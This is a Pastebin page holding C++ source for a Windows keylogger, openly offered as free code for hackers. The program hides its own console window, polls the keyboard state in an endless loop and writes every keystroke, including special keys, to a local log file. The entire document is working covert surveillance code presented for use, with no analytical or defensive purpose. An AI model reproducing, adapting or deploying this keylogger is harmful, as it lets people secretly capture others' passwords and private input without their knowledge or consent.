contra

Self hiding key logger with log file source...

Jul 8th, 2012
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.99 KB | None | 0 0
  1. // Free source! C++ Key Logger, self hiding
  2. // #hackers on EFnet
  3.  
  4. #include <iostream>
  5. using namespace std;
  6. #include <Windows.h>
  7. #include <WinUser.h>
  8.  
  9. int Save (int key_stroke, char *file);
  10. void Stealth();
  11.  
  12. int main()
  13. {
  14.     Stealth();
  15.     char i;
  16.  
  17.     while (1)
  18.     {
  19.         for(i = 8; i < 190; i++)
  20.         {
  21.             if (GetAsyncKeyState(i) == -32767)
  22.                 Save (i,"LOG.txt");
  23.         }
  24.     }
  25.     system("pause");
  26.     return 0;
  27. }
  28.  
  29. int Save (int key_stroke, char *file)
  30. {
  31.     if ( (key_stroke == 1) || (key_stroke == 2) )
  32.         return 0;
  33.  
  34.     FILE *OUTPUT_FILE;
  35.     OUTPUT_FILE = fopen(file, "a+");
  36.  
  37.     cout << key_stroke << endl;
  38.  
  39.     if (key_stroke == 8)
  40.     fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
  41.     else if (key_stroke == 13)
  42.         fprintf(OUTPUT_FILE, "%s", "\n");
  43.     else if (key_stroke == 32)
  44.     fprintf(OUTPUT_FILE, "%s", " ");
  45.     else if (key_stroke == VK_TAB)          
  46.     fprintf(OUTPUT_FILE, "%s", "[TAB]");
  47.         else if (key_stroke == VK_SHIFT)
  48.         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  49.         else if (key_stroke == VK_CONTROL)
  50.         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
  51.         else if (key_stroke == VK_ESCAPE)
  52.         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  53.         else if (key_stroke == VK_END)
  54.         fprintf(OUTPUT_FILE, "%s", "[END]");
  55.         else if (key_stroke == VK_HOME)
  56.         fprintf(OUTPUT_FILE, "%s", "[HOME]");
  57.         else if (key_stroke == VK_LEFT)
  58.         fprintf(OUTPUT_FILE, "%s", "[LEFT]");
  59.         else if (key_stroke == VK_UP)
  60.         fprintf(OUTPUT_FILE, "%s", "[UP]");
  61.         else if (key_stroke == VK_RIGHT)
  62.         fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
  63.         else if (key_stroke == VK_DOWN)
  64.         fprintf(OUTPUT_FILE, "%s", "[DOWN]");
  65.         else if (key_stroke == 190 || key_stroke == 110)
  66.         fprintf(OUTPUT_FILE, "%s", ".");
  67.         else
  68.         fprintf(OUTPUT_FILE, "%s", &key_stroke);
  69.  
  70. fclose (OUTPUT_FILE);
  71.     return 0;
  72. }
  73.  
  74. void Stealth()
  75. {
  76.   HWND Stealth;
  77.   AllocConsole();
  78.   Stealth = FindWindowA("ConsoleWindowClass", NULL);
  79.   ShowWindow(Stealth,0);
  80. }
Advertisement
Add Comment
Please, Sign In to add comment